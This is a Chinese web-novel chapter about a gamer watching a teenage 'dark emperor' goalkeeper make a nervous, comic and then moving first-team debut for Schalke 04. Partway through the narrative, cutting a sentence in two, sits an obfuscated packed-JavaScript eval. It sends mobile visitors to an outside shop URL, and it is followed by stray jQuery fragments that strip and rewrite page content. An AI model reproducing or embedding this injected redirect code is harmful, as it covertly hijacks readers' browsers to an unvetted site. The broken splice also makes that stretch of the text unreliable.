你打开电脑，翻着白眼点开了那个名为“Soccer”的图标。
经过一整天的工作，你已经没有力气再研究这玩意儿到底为啥存在了。反正昨晚玩完以后，电脑没有爆炸，银行卡里的余额也没有减少一分。
唯一的问题是，你躺在床上以后，脑子里不停回荡着某个金发小孩一本正经的声音。
“莱昂哈德·克罗伊茨，是我在地上世界使用的名字。”
你翻了个身。
有病。
“统御球门与深渊的暗黑帝王。”
你又翻了个身。
真的有病，中二病。
五分钟后，你摸黑拿起手机，搜索：“十七岁门将能不能踢德甲”。
现在，你再次打开游戏，漆黑的界面缓缓浮现。金发蓝眼的少年仍然站在沙尔克04一线队更衣室门外，抱着那副纯黑色手套。
玩家搓了搓手。
哟西，统御球门与深渊的暗黑帝王，让我见识见识你的厉害吧。
屏幕忽然闪烁了一下。
【突发事件：距离比赛开始还有四小时，主教练斯蒂文斯正在考虑启用你。】
玩家脸上的笑容凝固了。
什么东东？
我们小莱奥今年才十七岁，怎么突然就要首发踢一线队比赛了？这不对吧！
按照正常足球养成游戏的流程，他不是应该先在一线队磨练半年，偶尔替补上场，然后因为身体、经验和心理素质不足，被成年前锋打得落花流水，卡在新手墙前郁郁不得志，最终租借到德乙历练吗？接下来再用两三个赛季刷经验、练出击、练脚下技术，几年后熹妃回宫，秒杀全场。
这才是玩家熟悉的成长路线啊！哪有游戏刚结束序章，第二章就把十七岁的未成年门将扔进德甲首发名单的？
玩家把鼠标移到右上角，试图寻找读档按钮。没有。
试图寻找拒绝按钮。也没有。
玩家沉默了一会儿。
我家孩子是暗黑帝王，应该......没事吧？
你点开前情提要。
1999—2000赛季开局，奥利弗·雷克仍然是沙尔克04的主力门将。但由于他的肩部伤势没有完全恢复，加上球队状态不佳，沙尔克04在第三轮和第四轮连续输球，两场比赛一共丢了六个。
今天是德甲第五轮，沙尔克04将在主场迎战升班马翁特哈兴。
斯蒂文斯原本准备让马蒂亚斯·朔伯首发。可是比赛当天凌晨朔伯突发高烧，雷克的肩膀又在上一场比赛后再次出现不适，只能坐在替补席上。
于是教练组面前只剩下两个选择——要么临时征召一名经验更加丰富、但与一线队几乎没有磨合的预备队门将；要么启用已经跟随一线队训练了几个月、在点球训练中表现突出，却年仅十七岁的莱昂哈德·克罗伊茨。
他们选择了后者。
玩家看着屏幕陷入沉思。
ber，你们德国教练做决定都这么不考虑当事人死活的吗？
————
莱奥在得知自己即将迎来人生第一场职业比赛时，表现得相当镇定。
斯蒂文斯把他叫进办公室的时候，房间里除了主教练还有门将教练、队医，以及肩膀上缠着固定带的奥利弗·雷克。
他站在门口，目光飞快地从几个人脸上掠过，心脏突然开始猛烈跳动。
没有人说话。
他觉得自己应该先行礼，或者说一句符合身份的开场白。可他昨晚整理完《帝王启示录》，里面没有写暗黑帝王第一次被召见时应当如何表现。
最后还是斯蒂文斯先开口。“朔伯病了。”
莱奥点点头——他已经听说了这件事。
“雷克的肩膀不能坚持九十分钟。”
莱奥又点点头。
“所以下午的比赛，你首发。”
莱奥继续点头。
点完以后，他才意识到自己听见了什么。
办公室里安静了大约两秒。
门将教练观察着莱奥的表情，似乎已经做好了他惊慌、结巴或者提出疑问的准备。雷克则靠在椅背上，若有所思地打量着这个年轻过头的门将。
莱奥的喉咙有些发紧。“我明白了。”声音还算响亮平静。
斯蒂文斯看着他：“你有什么问题吗？”
当然有！暗黑帝王大人有很多问题！！例如球衣放在哪里，下午究竟会有多少观众，翁特哈兴的前锋习惯从哪一侧射门，如果在职业首秀中出现失误，明天还能不能继续留在一线队训练......但真正的帝王不能在登基前追着臣民询问祭典流程。于是莱奥挺直身体，来了一句：“帝王的登基从不需要预告。”
斯蒂文斯的眉毛轻轻动了一下。
莱奥继续说道：“这片领域，终将迎来它真正的主人。”
说完，他从容地转过身，走出办公室。
步伐平稳。背影坚定。没有撞门。堪称完美。
随后伟大的暗黑帝王径直走进洗手间，关上隔间的门，扶着墙干呕了三分钟。
玩家看着屏幕里蹲在马桶旁边脸色苍白的暗黑帝王，沉默了。
莱奥从洗手间出来时，门将教练正在走廊尽头等他。
他递过来一瓶水，“喝一点，缓一缓。”
莱奥喝水的时候，教练开口了。“下午不用想着证明自己。”他说，“也不要想着这是不是你唯一的机会，接球，就像你一直训练的那样。”
临危受命的门将盯着瓶身。
“帝王从不畏惧考验。”
“很好。”教练点点头，“那帝王下午记得大声指挥防线。”
“……”
“还有，传中球出击时要喊。”
“我知道。”
“真的知道？”
莱奥不高兴地抿起嘴。“深渊不需要重复同一条训诫。”
门将教练拍了拍孩子的肩膀。“看来你真缓过来了。”
中午吃饭时，莱奥只吃了半份意面。倒不是没有胃口，主要是他担心吃得太多，下午扑救时会显得不够轻盈。
姐姐和父亲获得了两张球票，母亲今晚值班，只能在休息室的电视上观赛。
姐姐给莱奥打电话：“听说有三万多人看比赛？”
“准确来说，是三万六千五百人。”
“你查过了？”
“帝王必须清楚自己拥有多少见证者。”
“莱奥。”姐姐忽然在电话里喊弟弟的名字。
“怎么？”
“别害怕。”
“我没有害怕。”
“那就把你的手从头发上放下来。”
莱奥不知道姐姐是怎么隔着电话看到的，他把手停在半空。
“这是仪式。你怎么知道？”
“我还不知道你是什么德行？”姐姐在电话里笑了。“加油，统御球门与深渊的暗黑帝王大人。”
————
下午，沙尔克04的球队大巴驶进公园球场。
隔着车窗，莱奥看见密密麻麻的球迷。有的年轻，有的头发全白了，还有孩子被父亲抱在肩膀上，努力朝车里的球员挥手。
大巴停稳以后，斯蒂文斯第一个下车。其他球员陆续起身，莱奥抱着自己的包，跟在队伍最后。
埃贝·桑德经过莱奥身边时停了一下。
“第一次？”
“此乃吾之真身第一次降临此地。”
丹麦人沉默了一会儿。“所以，是第一次？”
“……是。”
他哈了一声，拍了拍首发门将的后背。“别吐在球员通道里。”
莱奥立刻转头看他。“你怎么知道？”
“整个训练基地都知道。”
帝王的耳朵瞬间红了。
桑德已经若无其事地向前走去，仿佛刚才只是提醒莱奥不要忘记带手套。
更衣室里，莱奥一眼看到了自己的球衣。几个月前，他第一次站在这里时还只是临时参加训练的青年队门将。他的位置在角落，训练结束后要自己把衣服带回青年队洗衣房，甚至没有固定的柜子。
现在，一件背后印着他的姓氏的球衣被高高挂起。
KREUZ。
他伸手摸了一下那几枚字母，王的姓氏象征着十字架，很帅。
周围的球员说话、换衣服、绑鞋带，声音比青年队更低，也更随意。有人在讨论今天的对手，有人抱怨草皮，有人问今晚比赛结束后去哪里吃饭，没有人把这场比赛当作人生的分界线。
受伤的一门坐在不远处。他正穿着替补的小背心，肩膀仍然不太灵活。莱奥犹豫片刻，主动走过去。
“前任守门者。”
雷克抬起头，苦着脸，“我还没有退役。”
“我指的是今日。”
“换一个称呼，不然揍你。”
莱奥想了一会儿。“暂居阴影的前任守门者。”
雷克闭了闭眼。“你还是直接叫我的名字吧。”
“奥利弗。”
“嗯？”
“给王一点忠告。”
雷克指了指莱奥身后的战术板，“翁特哈兴会打得很直接。他们知道你年轻，开场后一定会多传中、多远射，也会逼你处理回传球。”
莱奥点头。
“不要急着做英雄。”雷克说的话和门将教练说的差不多，莱奥听得格外认真。面前的人是一个真正踢过许多职业比赛的门将。他知道球场上风的流向，知道三万人同时吸气时是什么声音，知道很多年幼的帝王不知道的事。
“还有。”他看着年轻的接班人，“要是丢球了，别低头。”
莱奥沉默片刻。“帝王不会向失败低头。”
雷克给他点了个赞。
球员通道前，广播正在介绍首发阵容。当播音员念到莱奥的名字时，看台上的声音短暂地停顿了一下。
“门将——莱昂哈德·克罗伊茨！”
绝大部分的人并不认识莱奥，响起的只有稀稀拉拉的掌声。去年青年鲁尔德比以后，地方报纸曾经报道过那个自称“暗黑帝王”的少年门将。威斯特法伦青年杯决赛后，莱奥扑出三粒点球的照片也登上过体育版。但青年比赛和德甲毕竟不同，更多人只是惊讶于沙尔克04竟然在两连败之后派出了一名十七岁的门将。
莱奥走进球场。
阳光落在草皮上，球门网被风轻轻吹动。四周的看台比他想象中更高，蓝白色的人群几乎填满了视野。
三万六千五百人。
他在心中重复这个数字，走到球门前，伸手碰了碰左侧门柱。
冰凉，坚硬。
和学校球场、青训基地、青年队比赛里的门柱没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809257|210773||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
区别。
他又碰了碰右侧门柱，随后抬头看向横梁。
“无需畏惧。”莱奥低声说道，“今日由我守卫此地。”
不远处正在热身的后卫约翰·德科克朝他看了一眼。
“你在和谁说话？”
“我的领域。”
“让你的领域一会儿记得喊人。”
莱奥撇了撇嘴，“知道了。”
开场两分钟，沙尔克04后卫把球回传给门将。这脚回传力量不大、方向明确，莱奥只需要把球停稳，再传给另一侧的边后卫。他在青年队做过成百上千次，可足球滚过来的时候，看台上忽然响起一阵嘘声。
训练的时候没有嘘声。
莱奥的右脚触球，力气小了，皮球从脚边滑开，继续向底线滚去。他的心脏猛地一跳，赶紧追上去，在足球即将出界之前一脚将它踢开。还好不是底线，至少没有送给对方角球。
看台上已经出现了不安的议论，你在电脑前抱住了头。
完了完了完了，这个游戏竟然不给新手保护期！！狗策划！！
莱奥站回球门前，假装刚才的一切都在计划之中。
三分钟后，翁特哈兴从右路传中，球飞得很高。
莱奥向前迈了两步，觉得自己能够接到；第三步时，又发现落点比预想中更远。他停住，德科克却已经向后退来。于是两个人结结实实地撞在一起。
足球从二人头顶飞过，落到禁区另一侧，幸好另一名后卫及时解围。
德科克从草地上爬起来，黑着脸看莱奥。“小子，你到底要不要出击？”
莱奥的耳朵红得要命，嘴上仍然坚持：“方才只是深渊对吾意志的试探。”
“下一次先喊一声！”
“帝王无需——”
“喊！”
“……好。”
第八分钟，莱奥第一次开大脚，这一脚让足球飞得又高又远。
越过中场——越过边线——直接落进看台。
一名穿着沙尔克04围巾的球迷下意识抱住了球，周围笑倒一片。
莱奥站在禁区里，沉默地望着那个方向。
玩家已经开始尝试强制关闭游戏。
【当前处于重要比赛，无法退出。】
“啊啊啊啊啊你倒是给我一个跳过比赛的选项啊！”
游戏无动于衷。
第十二分钟，翁特哈兴完成第一脚远射。这一脚角度很正，直奔球门中央，莱奥稳稳地把球抱进怀里，把球抛给队友。
看台上传来零星掌声。对待十七岁的小朋友，大多数球迷还算宽容。
第十七分钟，对方再次传中，这一次，莱奥没有吝啬自己的言语。
“我的！”
声音从喉咙里冲出来，响得连他自己都愣了一下。
德科克立刻让开位置。他高高跃起，在对方前锋头顶把球摘了下来。落地以后，他紧紧抱着球。
德科克回头看着莱奥，“这不就会喊吗？”
莱奥高冷，“帝王只是选择在必要时降下神谕。”
开场的混乱一点点过去，莱奥开始听见队友的声音：左边有人提醒他身后，右边有人向他要球；德科克每次准备回传之前都会抬头确认他的位置。
职业比赛的速度快得吓人，成年球员的射门比青年队沉重许多，每一次身体接触都像真正的撞击。但当莱奥不再试图同时听清三万多人的声音，球场渐渐恢复成他熟悉的形状。
两根门柱、一条门线组成了一片他必须守住的空间。
这是这样而已。
上半场第30分钟，沙尔克04的中场传球失误，翁特哈兴前锋抢到球，趁前场空虚，直朝禁区冲来。德科克拼命回追，还是落后半个身位。
球场上的喧闹突然变得遥远。
莱奥盯着持球者。
第一脚，对方把球向前推得很稳。第二脚稍微偏向右侧，那是在准备绕开回追的后卫。第三脚他为了提速，把球趟得比之前远了一些。
就是现在！
莱奥离开门线，向前冲去。
对方前锋抬起头，显然没有想到他会如此果断。前锋试图赶在莱奥之前碰到足球，却已经慢了半步。
莱奥向前扑倒，双手压住球。下一秒，鞋钉从莱奥的肩膀上擦过去。
疼痛让他眼前发白。
莱奥趴在草地上，没有立刻起身。德科克赶到旁边想拉他：“能起来吗？”
“帝王只是暂时回归大地。”
“别趴着了，快点回来！”
莱奥慢慢坐起来，肩膀火辣辣地疼，斜刘海被汗水黏在额前，手套上全是草屑。然后，突然，他听见了看台上的声音。
“莱奥！”
他抱着球抬起头，这个声音让他觉得很熟悉，他分不清那是不是父亲，但很快，更多声音加入了进来。
三万六千五百人的看台依然庞大，灯光依然刺眼，每一波嘘声都能淹没他。
他突然不再紧张。
是的，无论看台上坐着三百人还是三万人，球门始终只是两根门柱、一根横梁。而他——还是那个四岁时站在两件外套中间，发现“这里没有人”，所以决定留下来守门的小孩。
你缓缓放下了抱着头的手。
这游戏怎么回事？刚才不还在搞笑吗？怎么突然开始骗眼泪了？